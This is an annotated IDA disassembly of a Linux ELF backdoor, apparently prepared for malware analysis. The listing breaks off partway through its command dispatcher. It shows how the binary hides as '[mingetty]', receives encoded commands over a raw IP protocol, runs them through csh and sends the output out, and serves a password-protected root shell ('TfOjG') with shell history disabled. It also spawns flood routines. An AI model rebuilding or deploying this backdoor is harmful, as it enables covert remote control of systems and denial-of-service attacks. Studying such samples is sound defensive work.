 
 
;
; иммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм╩
; ╨	This file is generated by The Interactive Disassembler (IDA)	    ╨
; ╨	Copyright (c) 2001 by DataRescue sa/nv,	<ida@datarescue.com>	    ╨
; ╨   Licensed to: M. D. Messier, Secure Software Solutions, std, 10/2001   ╨
; хммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм╪
;
; File Name   :	M:\the-binary
; Format      :	ELF (Executable)
; 


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		model flat

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure code
_init		segment	para public 'CODE' use32
		assume cs:_init
		;org 8048080h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: hidden

_init_proc	proc near		; CODE XREF: start+51p
		call	sub_80675A8
		retn	0
_init_proc	endp

_init		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure code
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 8048090h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

start		proc near

var_C		= dword	ptr -0Ch

		pop	ecx
		mov	ebx, esp
		mov	eax, esp
		mov	edx, ecx
		add	edx, edx
		add	edx, edx
		add	eax, edx
		add	eax, 4
		xor	ebp, ebp
		push	ebp
		push	ebp
		push	ebp
		mov	ebp, esp
		push	eax		; environment pointer
		push	ebx		; argument pointer
		push	ecx		; argument count
		mov	eax, 136
		mov	ebx, 0
		int	80h		; LINUX	- sys_personality
		mov	eax, [esp+14h+var_C]
		mov	__environ, eax	; environment?
		movzx	eax, __fpu_control
		push	eax
		call	__setfpucw
		add	esp, 4
		call	__libc_init
		push	offset _term_proc
		call	atexit
		add	esp, 4
		call	_init_proc
		call	main
		push	eax
		call	exit
		pop	ebx
		db 8Dh,0B4h,26h,0,0,0,0	; <BAD>	lea	esi, [esi+0]
		db 8Dh,0B4h,26h,0,0,0,0	; <BAD>	lea	esi, [esi+0]

loc_8048100:				; CODE XREF: start+77j
		mov	eax, 1
		int	80h		; LINUX	- sys_exit
		jmp	short loc_8048100
start		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	0B4h, 26h, 4 dup(0)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: hidden

sub_8048110	proc near		; CODE XREF: _term_procp
		push	ebx
		mov	ebx, offset dword_80792B8
		cmp	ds:dword_80792B8, 0
		jz	short loc_804812C
		nop

loc_8048120:				; CODE XREF: sub_8048110+1Aj
		mov	eax, [ebx]
		call	eax
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_8048120

loc_804812C:				; CODE XREF: sub_8048110+Dj
		pop	ebx
		retn
sub_8048110	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

main		proc near		; CODE XREF: start+56p

numhosts	= dword	ptr -44F0h
var_44EC	= dword	ptr -44ECh
ptr_buf400	= dword	ptr -44E8h
ptr_addrlist	= dword	ptr -44E4h
ptr_cmdbuf	= dword	ptr -44E0h
fd		= dword	ptr -44DCh
ptr_data	= dword	ptr -44D8h
ptr_datahdr	= dword	ptr -44D4h
ptr_tmpbuf	= dword	ptr -44D0h
clientfd	= dword	ptr -44CCh
sockfd		= dword	ptr -44C8h
init_as_16	= dword	ptr -44C4h
init_as_1	= dword	ptr -44C0h
var_44BC	= byte ptr -44BCh
var_43BC	= byte ptr -43BCh
accept_addr	= byte ptr -11D8h
listen_addr	= byte ptr -11C8h
addrlist	= byte ptr -11B8h
buf400		= byte ptr -1190h
cmdbuf		= byte ptr -1000h
tmpbuf		= byte ptr -800h
argc		= dword	ptr  8
argv		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 44F0h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+argv]
		mov	[ebp+init_as_1], 1
		lea	edx, [ebp+tmpbuf]
		mov	[ebp+ptr_tmpbuf], edx ;	&tmpbuf
		lea	ecx, [ebp+tmpbuf+14h]
		mov	[ebp+ptr_datahdr], ecx
		lea	edx, [ebp+tmpbuf+16h]
		mov	[ebp+ptr_data],	edx
		mov	[ebp+init_as_16], 10h
		call	geteuid
		test	eax, eax	; check	for super-user
		jz	short loc_804818C ; yes, we're superuser!
		push	0FFFFFFFFh	; no, we're not
		call	exit
		nop

loc_804818C:				; CODE XREF: main+4Ej
		mov	edx, [ebx]
		xor	al, al
		mov	edi, edx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		push	eax
		push	0
		push	edx
		call	memset
		mov	edx, [ebx]
		mov	eax, dword ptr ds:aMingetty ; "[mingetty]"
		mov	[edx], eax
		mov	eax, dword ptr ds:aMingetty+4
		mov	[edx+4], eax
		mov	ax, word ptr ds:aMingetty+8
		mov	[edx+8], ax
		mov	al, byte ptr ds:aMingetty+0Ah
		mov	[edx+0Ah], al
		push	1		; SIG_IGN
		push	11h		; SIGCHLD
		call	signal
		call	fork
		add	esp, 14h
		test	eax, eax
		jz	short loc_80481E8
		push	0
		call	exit

loc_80481E8:				; CODE XREF: main+ABj
		call	setsid
		push	1		; SIG_IGN
		push	11h		; SIGCHLD
		call	signal
		call	fork
		add	esp, 8
		test	eax, eax
		jz	short loc_804820C
		push	0
		call	exit
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0] ; *NOTREACHED*

loc_804820C:				; CODE XREF: main+CCj
		push	offset aSlash	; "/"
		call	chdir		; chdir("/")
		push	0
		call	close		; close(fileno(stdin))
		push	1
		call	close		; close(fileno(stdout))
		push	2
		call	close		; close(fileno(stderr))
		mov	ds:child_pid, 0
		mov	ds:dword_807E770, 0
		mov	ds:dword_807E778, 0
		push	0
		call	time
		add	esp, 14h	; cleanup previous 5 calls
		push	eax
		call	__srandom
		add	esp, 4
		push	0Bh		; NVP-II
		push	3		; SOCK_RAW
		push	2		; PF_INET
		call	socket
		mov	[ebp+sockfd], eax
		push	1		; SIG_IGN
		push	1		; SIGHUP
		call	signal
		push	1		; SIG_IGN
		push	0Fh		; SIGTERM
		call	signal
		push	1		; SIG_IGN
		push	11h		; SIGCHLD
		call	signal
		add	esp, 24h	; clean	up previous 3 calls
		push	1		; SIG_IGN
		push	11h		; SIGCHLD
		call	signal
		add	esp, 8
		lea	ecx, [ebp+cmdbuf]
		mov	[ebp+ptr_cmdbuf], ecx
		lea	edx, [ebp+addrlist]
		mov	[ebp+ptr_addrlist], edx
		nop

process_command_packet:			; CODE XREF: main+D91j
		push	0		; flags
		push	800h		; bufferlen
		lea	eax, [ebp+tmpbuf]
		push	eax		; buffer
		mov	ecx, [ebp+sockfd]
		push	ecx		; sockfd
		call	recv
		mov	esi, eax	; # bytes received
		add	esp, 10h
		mov	edx, [ebp+ptr_tmpbuf]
		cmp	byte ptr [edx+9], 0Bh ;	check protocol in iphdr
		jnz	loc_8048EB8	; default
		mov	ecx, [ebp+ptr_datahdr]
		cmp	byte ptr [ecx],	2 ; first data byte must be 2
		jnz	loc_8048EB8	; default
		cmp	esi, 0C8h	; packet length	(incl. iphdr) must be at least 200 bytes
		jle	loc_8048EB8	; default
		mov	edx, [ebp+ptr_cmdbuf]
		push	edx		; destination buffer
		mov	ecx, [ebp+ptr_data]
		push	ecx		; source (2 bytes offset into data rec'd)
		lea	eax, [esi-16h]
		push	eax		; number of bytes in the source	buffer
		call	decode_input	; decode_input(len, src, dst)
		add	esp, 0Ch
		movzx	eax, [ebp+cmdbuf+1] ; 2nd char of destination buffer
		dec	eax
		cmp	eax, 0Bh	; switch 12 cases 
		ja	loc_8048EB8	; default
		jmp	ds:off_804832C[eax*4] ;	switch (cmdbuf[1] - 1)
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_804832C	dd offset case0x0	; DATA XREF: main+1F1r
					; jump table for switch	statement
		dd offset case0x1	; case 0x1
		dd offset case0x2	; case 0x2
		dd offset case0x3	; case 0x3
		dd offset case0x4	; case 0x4
		dd offset case0x5	; case 0x5
		dd offset case0x6	; case 0x6
		dd offset case0x7	; case 0x7
		dd offset case0x8	; case 0x8
		dd offset case0x9	; case 0x9
		dd offset case0xa	; case 0xa
		dd offset case0xb	; case 0xb
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

case0x0:				; CODE XREF: main+1F1j
					; DATA XREF: main+1F8o
		mov	al, ds:null_byte ; case	0x0
		mov	[ebp+tmpbuf], al ; put null at start of	tmpbuf
		mov	eax, ds:dword_807E77C
		mov	[ebp+tmpbuf], al
		mov	[ebp+tmpbuf+1],	1
		mov	[ebp+tmpbuf+2],	7
		cmp	ds:child_pid, 0
		jz	short loc_80483A0
		mov	[ebp+tmpbuf+3],	1
		mov	eax, ds:dword_807E778 ;	should be 0 initially
		mov	[ebp+tmpbuf+4],	al
		jmp	short loc_80483A7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80483A0:				; CODE XREF: main+254j
		mov	[ebp+tmpbuf+3],	0

loc_80483A7:				; CODE XREF: main+268j
		mov	edx, [ebp+ptr_cmdbuf]
		push	edx
		lea	eax, [ebp+tmpbuf]
		push	eax
		push	190h
		call	encode_input
		call	random
		mov	ecx, 0C9h
		cdq			; sign extend eax random result	into edx:eax quadword -	edx will be filled with	sign bit of original eax
		idiv	ecx		; mod random quadword by 0xC9
		mov	ebx, edx	; put mod doubleword of	result in ebx
		lea	eax, [ebx+190h]	; range	is 400 to 600
		push	eax
		mov	edx, [ebp+ptr_cmdbuf]
		push	edx
		mov	ecx, [ebp+ptr_addrlist]
		push	ecx
		call	broadcast_packet ; func( char *	to 40 byte buff, char *	to cmdbuff, whacked random number)
		add	esp, 18h
		jmp	loc_8048EB8	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

case0x1:				; CODE XREF: main+1F1j
					; DATA XREF: main+1FCo
		movzx	edx, [ebp+cmdbuf+2] ; case 0x1
		mov	ds:cmdbuffbyte1, edx
		mov	al, [ebp+tmpbuf+10h]
		mov	ds:dataptr, al
		mov	al, [ebp+tmpbuf+11h]
		mov	ds:byte_807E781, al
		mov	al, [ebp+tmpbuf+12h]
		mov	ds:byte_807E782, al
		mov	al, [ebp+tmpbuf+13h]
		mov	ds:byte_807E783, al
		push	0
		call	time
		add	esp, 4
		push	eax
		call	__srandom
		add	esp, 4
		call	random
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		mov	edi, edx
		xor	ebx, ebx
		xor	esi, esi
		nop

loc_8048454:				; CODE XREF: main+3FEj
		cmp	ebx, edi
		jz	loc_804852B
		cmp	ds:cmdbuffbyte1, 2
		jnz	short loc_8048498
		mov	al, [ebp+ebx*4+cmdbuf+3]
		mov	edx, [ebp+ptr_addrlist]
		mov	[edx+esi], al
		mov	al, [ebp+ebx*4+cmdbuf+4]
		mov	[esi+edx+1], al
		mov	al, [ebp+ebx*4+cmdbuf+5]
		mov	[esi+edx+2], al
		mov	al, [ebp+ebx*4+cmdbuf+6]
		jmp	loc_8048527
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8048498:				; CODE XREF: main+32Fj
		call	random
		mov	[ebp+numhosts],	eax
		test	eax, eax
		jge	short loc_80484B3
		lea	ecx, [eax+0FFh]
		mov	[ebp+numhosts],	ecx

loc_80484B3:				; CODE XREF: main+371j
		mov	edx, [ebp+ptr_addrlist]
		mov	[esi+edx], al
		call	random
		mov	[ebp+numhosts],	eax
		test	eax, eax
		jge	short loc_80484D7
		lea	ecx, [eax+0FFh]
		mov	[ebp+numhosts],	ecx

loc_80484D7:				; CODE XREF: main+395j
		mov	edx, [ebp+ptr_addrlist]
		mov	[esi+edx+1], al
		call	random
		mov	[ebp+numhosts],	eax
		test	eax, eax
		jge	short loc_80484FC
		lea	ecx, [eax+0FFh]
		mov	[ebp+numhosts],	ecx

loc_80484FC:				; CODE XREF: main+3BAj
		mov	edx, [ebp+ptr_addrlist]
		mov	[esi+edx+2], al
		call	random
		mov	[ebp+numhosts],	eax
		test	eax, eax
		jge	short loc_8048521
		lea	ecx, [eax+0FFh]
		mov	[ebp+numhosts],	ecx

loc_8048521:				; CODE XREF: main+3DFj
		mov	edx, [ebp+ptr_addrlist]

loc_8048527:				; CODE XREF: main+35Ej
		mov	[esi+edx+3], al

loc_804852B:				; CODE XREF: main+322j
		add	esi, 4
		inc	ebx
		cmp	ebx, 9
		jle	loc_8048454
		mov	eax, ds:cmdbuffbyte1
		test	eax, eax
		jnz	short loc_8048543
		xor	edi, edi

loc_8048543:				; CODE XREF: main+40Bj
		cmp	eax, 2
		jz	loc_8048EB8	; default
		shl	edi, 2
		mov	[ebp+var_44EC],	edi
		mov	al, [ebp+cmdbuf+3]
		mov	ecx, [ebp+ptr_addrlist]
		mov	[edi+ecx], al
		mov	al, [ebp+cmdbuf+4]
		mov	edx, [ebp+var_44EC]
		mov	[edx+ecx+1], al
		mov	al, [ebp+cmdbuf+5]
		mov	[edx+ecx+2], al
		mov	al, [ebp+cmdbuf+6]
		mov	[edx+ecx+3], al
		jmp	loc_8048EB8	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

case0x2:				; CODE XREF: main+1F1j
					; DATA XREF: main+200o
		call	fork		; case 0x2
		mov	ds:dword_807E770, eax
		test	eax, eax
		jnz	loc_8048EB8	; default
		call	setsid
		push	1		; SIG_IGN
		push	11h		; SIGCHLD
		call	signal
		call	fork
		add	esp, 8
		test	eax, eax
		jz	short loc_80485D8
		push	0Ah
		call	sleep
		push	9
		mov	eax, ds:dword_807E770
		push	eax
		call	kill
		push	0
		call	exit
		nop

loc_80485D8:				; CODE XREF: main+486j
		xor	ebx, ebx
		lea	esi, [esi]

loc_80485DC:				; CODE XREF: main+4BDj
		mov	al, [ebx+ebp-0FFEh]
		mov	[ebx+ebp-1000h], al
		inc	ebx
		cmp	ebx, 18Dh
		jle	short loc_80485DC
		push	offset aTmp_hj237349 ; "/tmp/.hj237349"
		mov	ecx, [ebp+ptr_cmdbuf]
		push	ecx
		push	offset aBinCshFCS1S21 ;	"/bin/csh -f -c	\"%s\" 1> %s 2>&1"
		lea	ebx, [ebp+tmpbuf]
		push	ebx
		call	sprintf
		push	ebx
		call	system
		push	offset aRb	; "rb"
		push	offset aTmp_hj237349 ; "/tmp/.hj237349"
		call	fopen
		mov	[ebp+fd], eax
		add	esp, 1Ch
		test	eax, eax
		jz	loc_8048712
		xor	edi, edi
		lea	edx, [ebp+buf400]
		mov	[ebp+ptr_buf400], edx

loc_8048644:				; CODE XREF: main+5BFj
		mov	ecx, [ebp+fd]
		push	ecx
		push	18Eh
		push	1
		lea	eax, [ebp+tmpbuf]
		push	eax
		call	fread
		mov	esi, eax
		mov	[esi+ebp+tmpbuf], 0
		xor	ebx, ebx
		add	esp, 10h
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8048670:				; CODE XREF: main+551j
		mov	al, [ebx+ebp+tmpbuf]
		mov	[ebx+ebp+cmdbuf+2], al
		inc	ebx
		cmp	ebx, 18Dh
		jle	short loc_8048670
		test	edi, edi
		jnz	short loc_804869C
		mov	[ebp+cmdbuf+1],	3
		mov	edi, 1
		jmp	short loc_80486A3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804869C:				; CODE XREF: main+555j
		mov	[ebp+cmdbuf+1],	4

loc_80486A3:				; CODE XREF: main+563j
		mov	edx, [ebp+ptr_buf400]
		push	edx
		mov	ecx, [ebp+ptr_cmdbuf]
		push	ecx
		push	190h
		call	encode_input
		call	random
		mov	ecx, 0C9h
		cdq
		idiv	ecx
		mov	ebx, edx
		lea	eax, [ebx+190h]
		push	eax
		mov	edx, [ebp+ptr_buf400]
		push	edx
		mov	ecx, [ebp+ptr_addrlist]
		push	ecx
		call	broadcast_packet
		push	61A80h
		call	usleep
		add	esp, 1Ch
		test	esi, esi
		jnz	loc_8048644
		mov	edx, [ebp+fd]
		push	edx
		call	fclose
		push	offset aTmp_hj237349 ; "/tmp/.hj237349"
		call	unlink
		add	esp, 8

loc_8048712:				; CODE XREF: main+4FCj
		push	0
		call	_exit
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

case0x3:				; CODE XREF: main+1F1j
					; DATA XREF: main+204o
		cmp	ds:child_pid, 0	; case 0x3
		jnz	loc_8048EB8	; default
		mov	ds:dword_807E778, 4
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	loc_8048EB8	; default
		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+cmdbuf]
		cld
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_8048760:				; CODE XREF: main+641j
		mov	al, [ebx+ebp-44B3h]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_8048760
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+cmdbuf+8]
		push	eax
		movzx	eax, [ebp+cmdbuf+7]
		push	eax
		movzx	eax, [ebp+cmdbuf+6]
		push	eax
		push	0
		movzx	eax, [ebp+cmdbuf+5]
		push	eax
		movzx	eax, [ebp+cmdbuf+4]
		push	eax
		movzx	eax, [ebp+cmdbuf+3]
		push	eax
		movzx	eax, [ebp+cmdbuf+2]
		push	eax
		call	sub_8049174
		add	esp, 24h
		push	0
		call	_exit
		nop

case0x4:				; CODE XREF: main+1F1j
					; DATA XREF: main+208o
		cmp	ds:child_pid, 0	; case 0x4
		jnz	loc_8048EB8	; default
		mov	ds:dword_807E778, 5
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	loc_8048EB8	; default
		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+cmdbuf]
		cld
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_804880C:				; CODE XREF: main+6EDj
		mov	al, [ebx+ebp-44AFh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_804880C
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Ch]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Bh]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Ah]
		push	eax
		movzx	eax, [ebp+cmdbuf+9]
		push	eax
		movzx	eax, [ebp+cmdbuf+8]
		push	eax
		movzx	eax, [ebp+cmdbuf+7]
		push	eax
		movzx	eax, [ebp+cmdbuf+6]
		push	eax
		movzx	eax, [ebp+cmdbuf+5]
		push	eax
		movzx	eax, [ebp+cmdbuf+4]
		push	eax
		movzx	eax, [ebp+cmdbuf+3]
		push	eax
		movzx	eax, [ebp+cmdbuf+2]
		push	eax
		call	sub_80499F4
		add	esp, 30h
		push	0
		call	_exit
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

case0x5:				; CODE XREF: main+1F1j
					; DATA XREF: main+20Co
		cmp	ds:child_pid, 0	; case 0x5
		jnz	loc_8048EB8	; default
		mov	ds:dword_807E778, 6
		push	1		; SIG_IGN
		push	11h		; SIGCHLD
		call	signal		; signal(SIGCHLD, SIG_IGN)
		call	fork
		mov	ds:child_pid, eax
		add	esp, 8
		test	eax, eax
		jnz	loc_8048EB8	; default
		call	setsid
		push	1		; SIG_IGN
		push	11h		; SIGCHLD
		call	signal		; signal(SIGCHLD, SIG_IGN)
		mov	word ptr [ebp+listen_addr], 2 ;	listen_addr.sin_family = AF_INET
		add	esp, 8
		mov	word ptr [ebp+listen_addr+2], 0F15Ah ; listen_addr.sin_port = 0xF15A
		mov	dword ptr [ebp+listen_addr+4], 0 ; listen_addr.sin_addr.s_addr = INADDR_ANY
		mov	[ebp+init_as_1], 1
		push	0
		push	1		; SOCK_STREAM
		push	2		; PF_INET
		call	socket		; socket(PF_INET, SOCK_STREAM, 0)
		mov	[ebp+sockfd], eax
		push	1		; SIG_IGN
		push	11h		; SIGCHLD
		call	signal		; signal(SIGCHLD, SIG_IGN)
		push	1		; SIG_IGN
		push	11h		; SIGCHLD
		call	signal		; signal(SIGCHLD, SIG_IGN)
		push	1		; SIG_IGN
		push	1		; SIGHUP
		call	signal		; signal(SIGHUP, SIG_IGN)
		add	esp, 24h
		push	1		; SIG_IGN
		push	0Fh		; SIGTERM
		call	signal		; signal(SIGTERM, SIG_IGN)
		push	1		; SIG_IGN
		push	2		; SIGINT
		call	signal		; signal(SIGINT, SIG_IGN)
		push	4		; sizeof(int)
		lea	eax, [ebp+init_as_1]
		push	eax		; &init_as_1
		push	2		; SO_REUSEADDR
		push	1		; SOL_SOCKET
		mov	ecx, [ebp+sockfd]
		push	ecx		; sockfd
		call	setsockopt	; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &init_as_1, sizeof(int))
		add	esp, 24h
		push	10h		; sizeof(listen_addr)
		lea	eax, [ebp+listen_addr]
		push	eax		; &listen_addr
		mov	edx, [ebp+sockfd]
		push	edx		; sockfd
		call	bind		; bind(sockfd, &listen_addr, sizeof(listen_addr))
		push	3
		mov	ecx, [ebp+sockfd]
		push	ecx		; sockfd
		call	listen		; listen(sockfd, 3)
		add	esp, 14h
		nop

loc_8048984:				; CODE XREF: main+882j
		lea	eax, [ebp+init_as_16]
		push	eax		; &init_as_16
		lea	eax, [ebp+accept_addr]
		push	eax		; &accept_addr
		mov	edx, [ebp+sockfd]
		push	edx		; sockfd
		call	accept		; accept(sockfd, &accept_addr, &init_as_16
		mov	[ebp+clientfd],	eax
		add	esp, 0Ch
		test	eax, eax
		jz	loc_8048AC4
		call	fork
		test	eax, eax
		jnz	short loc_8048984
		push	0
		push	13h
		lea	eax, [ebp+var_43BC]
		push	eax		; var_43BC
		mov	ecx, [ebp+clientfd]
		push	ecx		; clientfd
		call	recv		; recv(clientfd, var_43BC, 0x13, 0)
		xor	ebx, ebx
		add	esp, 10h

loc_80489D4:				; CODE XREF: main+8CEj
		mov	al, [ebx+ebp+var_43BC]
		cmp	al, 0Ah
		jz	short loc_80489E3
		cmp	al, 0Dh
		jnz	short loc_80489F0

loc_80489E3:				; CODE XREF: main+8A9j
		mov	[ebx+ebp+var_43BC], 0
		jmp	short loc_80489FE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80489F0:				; CODE XREF: main+8ADj
		mov	[ebx+ebp+var_43BC], al
		inc	[ebx+ebp+var_43BC]

loc_80489FE:				; CODE XREF: main+8B7j
		inc	ebx
		cmp	ebx, 12h
		jle	short loc_80489D4
		lea	esi, [ebp+var_43BC]
		mov	edi, offset aTfojg ; "TfOjG"
		mov	ecx, 6
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8048A44
		push	0
		push	4
		push	offset unk_806761D
		mov	edx, [ebp+clientfd]
		push	edx
		call	send
		mov	ecx, [ebp+clientfd]
		push	ecx
		call	close
		push	1
		call	exit
		nop

loc_8048A44:				; CODE XREF: main+8E5j
		push	0
		mov	edx, [ebp+clientfd]
		push	edx
		call	dup2
		push	1
		mov	ecx, [ebp+clientfd]
		push	ecx
		call	dup2
		push	2
		mov	edx, [ebp+clientfd]
		push	edx
		call	dup2
		push	1
		push	offset aSbinBinUsrSbin ; "/sbin:/bin:/usr/sbin:/usr/bin:/usr/loca"...
		push	offset aPath	; "PATH"
		call	setenv
		add	esp, 24h
		push	offset aHistfile ; "HISTFILE"
		call	unsetenv
		push	1
		push	offset aLinux	; "linux"
		push	offset aTerm	; "TERM"
		call	setenv
		push	0
		push	offset aSh	; "sh"
		push	offset aBinSh	; "/bin/sh"
		call	execl
		mov	ecx, [ebp+clientfd]
		push	ecx
		call	close
		add	esp, 20h
		push	0
		call	exit

loc_8048AC4:				; CODE XREF: main+875j
		push	0
		call	exit
		nop

case0x6:				; CODE XREF: main+1F1j
					; DATA XREF: main+210o
		call	fork		; case 0x6
		mov	ds:dword_807E770, eax
		test	eax, eax
		jnz	loc_8048EB8	; default
		call	setsid
		push	1
		push	11h
		call	signal
		call	fork
		add	esp, 8
		test	eax, eax
		jz	short loc_8048B18
		push	4B0h
		call	sleep
		push	9
		mov	eax, ds:dword_807E770
		push	eax
		call	kill
		push	0
		call	exit
		lea	esi, [esi]

loc_8048B18:				; CODE XREF: main+9C2j
		xor	ebx, ebx
		lea	esi, [esi]

loc_8048B1C:				; CODE XREF: main+9FDj
		mov	al, [ebx+ebp-0FFEh]
		mov	[ebx+ebp-1000h], al
		inc	ebx
		cmp	ebx, 18Dh
		jle	short loc_8048B1C
		mov	edx, [ebp+ptr_cmdbuf]
		push	edx
		push	offset aBinCshFCS ; "/bin/csh -f -c \"%s\" "
		lea	ebx, [ebp+tmpbuf]
		push	ebx
		call	sprintf
		push	ebx
		call	system
		push	0
		call	_exit

case0x7:				; CODE XREF: main+1F1j
					; DATA XREF: main+214o
		mov	eax, ds:child_pid ; case 0x7
		test	eax, eax
		jz	loc_8048EB8	; default
		push	9
		push	eax
		call	kill
		mov	ds:child_pid, 0
		add	esp, 8
		jmp	loc_8048EB8	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

case0x8:				; CODE XREF: main+1F1j
					; DATA XREF: main+218o
		cmp	ds:child_pid, 0	; case 0x8
		jnz	loc_8048EB8	; default
		mov	ds:dword_807E778, 9
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	loc_8048EB8	; default
		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+cmdbuf]
		cld
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_8048BC4:				; CODE XREF: main+AA5j
		mov	al, [ebx+ebp-44B2h]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_8048BC4
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+cmdbuf+9]
		push	eax
		movzx	eax, [ebp+cmdbuf+8]
		push	eax
		movzx	eax, [ebp+cmdbuf+7]
		push	eax
		movzx	eax, [ebp+cmdbuf+6]
		push	eax
		movzx	eax, [ebp+cmdbuf+5]
		push	eax
		movzx	eax, [ebp+cmdbuf+4]
		push	eax
		movzx	eax, [ebp+cmdbuf+3]
		push	eax
		movzx	eax, [ebp+cmdbuf+2]
		push	eax
		call	sub_8049174
		add	esp, 24h
		push	0
		call	_exit
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

case0x9:				; CODE XREF: main+1F1j
					; DATA XREF: main+21Co
		cmp	ds:child_pid, 0	; case 0x9
		jnz	loc_8048EB8	; default
		mov	ds:dword_807E778, 0Ah
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	loc_8048EB8	; default
		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+cmdbuf]
		cld
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_8048C78:				; CODE XREF: main+B59j
		mov	al, [ebx+ebp-44AEh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_8048C78
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Dh]
		push	eax
		push	0
		movzx	eax, [ebp+cmdbuf+0Ch]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Bh]
		push	eax
		movzx	eax, [ebp+cmdbuf+0Ah]
		push	eax
		movzx	eax, [ebp+cmdbuf+9]
		push	eax
		movzx	eax, [ebp+cmdbuf+8]
		push	eax
		movzx	eax, [ebp+cmdbuf+7]
		push	eax
		movzx	eax, [ebp+cmdbuf+6]
		push	eax
		movzx	eax, [ebp+cmdbuf+5]
		push	eax
		movzx	eax, [ebp+cmdbuf+4]
		push	eax
		movzx	eax, [ebp+cmdbuf+3]
		push	eax
		movzx	eax, [ebp+cmdbuf+2]
		push	eax
		call	sub_8049D40
		add	esp, 38h
		push	0
		call	_exit
		nop

case0xa:				; CODE XREF: main+1F1j
					; DATA XREF: main+220o
		cmp	ds:child_pid, 0	; case 0xa
		jnz	loc_8048EB8	; default
		mov	ds:dword_807E778, 0Bh
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	loc_8048EB8	; default
